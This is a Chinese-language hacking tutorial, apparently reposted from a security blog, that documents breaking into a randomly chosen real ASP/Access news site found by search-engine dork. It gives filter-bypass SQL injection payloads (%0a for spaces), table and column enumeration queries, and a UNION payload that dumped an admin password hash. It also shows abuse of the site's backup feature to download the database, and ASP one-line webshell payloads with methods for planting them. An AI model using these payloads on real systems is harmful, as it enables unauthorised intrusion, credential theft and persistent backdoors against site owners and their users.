您好,登錄后才能下訂單哦!
Acesss數據庫手工繞過通用代碼防注入系統
By antian365 殘楓 simeon
***過程就是各種安全技術的再現過程,本次***從SQL注入點的發現到繞過sql注入通用代碼的防注入,可以說是打開了一扇門,通過sql注入獲取管理員密碼,獲取數據庫,如果在條件允許的情況下是完全可以獲取webshell。在本文中還對access數據庫獲取webshell等關鍵技術進行了總結。
1.1獲取目標信息
通過百度進行關鍵字“news.asp?id=”搜索,在搜索結果中隨機選擇一個記錄,打開如圖1所示,測試網站是否能夠正常訪問,同時在Firefox中使用F9功能鍵,打開hackbar
圖1測試目標站點
1.2測試是否存在SQL注入
在http://www.xxxxx.com/網站中隨機打開一個新聞鏈接地址http://www.xxxxx.com/news.asp?id=1172在其地址后加入and 1= 2和and 1 = 1判斷是否有注入,如圖2所示,單擊Execute后,頁面顯示存在“SQL通用防注入系統”。
圖2存在SQL通用防注入系統
在網站地址后加入“-0”和“/”進行測試,打開“http://www.xxxxx.com/news.asp?id=1172/”瀏覽器顯示結果如圖3所示,打開“http://www.xxxxx.com/news.asp?id=1172-0”后結果如圖4所示,明顯存在SQL注入。
圖3顯示無內容
圖4顯示存在內容
1.3繞過SQL防注入系統
1.post提交無法繞過
在Post data中輸入and 1=1 和and 1=2,勾選“Enable Post data”,單擊“Execute”進行測試,如圖5所示,結果無任何變化,說明直接post提交無法繞過。
圖5 post提交無法繞過
2.替換空格繞過
換了POST方式后還是不行,朋友說使用%09(也就是tab鍵)可以繞過,經過測試還是不行,如圖6所示,用%0a(換行符)替換下空格成功繞過,如圖7所示。
圖6無法繞過
圖7成功繞過
1.4獲取數據庫類型以及表和字段
(1)判斷數據庫類型
通過and (selectcount(*) from sysobjects)>0和and (select count(*) from msysobjects)>0的出錯信息來判斷網站采用的數據庫類型。若數據庫是SQL-SERVE,則第一條,網頁一定運行正常,第二條則異常;若是ACCESS則兩條都會異常。在POST中通過依次提交:
and%0a(select%0acount(*)%0afrom%0asysobjects)>0
and%0a(select%0acount(*)%0afrom%0amsysobjects)>0
其結果顯示“目前還沒有內容!”實際內容應該是id=1158的內容,兩條語句執行的結果均為異常,說明為access數據庫。
(2)通過order by判斷列名
id=1172%0aorder%0aby%0a23 正常
id=1172%0aorder%0aby%0a24 錯誤
“Order by 23”正常,23代表查詢的列名的數目有23個
(3)判斷是否存在admin表
and (select count(*) from admin)>0
and%0a(select%0acount(*)%0afrom%0aadmin)>0
(4)判斷是否存在user以及pass字段
and (select count(username) fromadmin)>0
and (select count(password) fromadmin)>0
變換后的語句
and %0a (select%0acount(user) %0afrom%0aadmin)>0
and%0a (select%0acount(pass) %0afrom%0aadmin)>0
測試admin表中是否存在uid,id,uid報錯,如圖8所示,id正常,如圖9所示。
圖8uid不存在
圖9id存在
1.5獲取管理員密碼
id=1158%0aUNION%0aSelect%0a1,2,3,4,user,pass,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%0afrom%0aadmin,獲取admin-dh用戶的密碼“5ed9ff1d48e059b50db232f497b35b45”,如圖10所示,通過登錄后臺后發現該用戶權限較低,因此還需要獲取其它管理員用戶的密碼執行語句:
id=1158%0aUNION%0aSelect%0a1,2,3,4,user,pass,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%0afrom%0aadmin%0awhere%0aid=1,獲取id為1的用戶密碼,如圖11所示。
圖10獲取amdin-dh用戶密碼
圖11獲取管理員zzchxj用戶密碼
1.6.獲取數據庫
(1)數據庫備份相關信息獲取
如圖12所示,在后臺管理中存在數據庫備份功能。在備份頁面中有當前數據庫路徑、備份數據庫目錄、備份數據庫名稱等信息。
圖12數據庫備份
(2)通過壓縮功能獲取真實數據庫名稱
單擊“壓縮”,如圖13所示,獲取數據庫的真實名稱和路徑等信息“../data-2016/@@@xxxxx###.asp”。
圖13獲取數據庫真實路徑和名稱信息
(3)備份并獲取數據庫
將“../data-2016/@@@xxxxx###.asp”填入當前數據庫路徑,備份數據庫名稱“db1.mdb”,如圖14所示,備份數據庫成功,您備份的數據庫路徑為服務器空間的:d:\virtualhost\*********\www\ahs*****admin\Databackup\db1.mdb,數據庫下載地址為:
http://www.xxxxx.com/ahszhdzzcadmin/Databackup/db1.mdb
圖14備份數據庫
1.8access數據庫獲取webshell方法
(1)查詢導出方法
create table cmd (a varchar(50))
insert into cmd (a) values ('<%executerequest(chr(35))%>')
select * into [a] in 'c:\wwwroot\1.asa;x.xls' 'excel 4.0;' from cmd
drop table cmd
直接菜刀里連接http://www.antian365.com/1.asa;x.xls
(2)數據庫備份
在留言等可以寫入數據內容的地方插入“┼攠數畣整爠煥敵瑳∨≡┩愾”,通過數據庫備份來獲取其一句后門密碼為a。
(3)數據庫圖片備份獲取
將插入一句話后門的圖片***上傳到網站,獲取其圖片的具體地址,然后通過備份,將備份文件設置為圖片文件的具體位置,備份文件例如指定為/databacp/1.asp來獲取webshell。
1.9參考文章
(1)http://www.freebuf.com/articles/web/36683.html,繞過WAF繼續SQL注入常用方法
(2)http://www.cnblogs.com/joy-nick/p/5774462.html,SQLInjection繞過技巧
(3)http://www.antian365.com/forum.php?mod=viewthread&tid=1084&extra=,整理比較全的AccessSQL注入參考
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。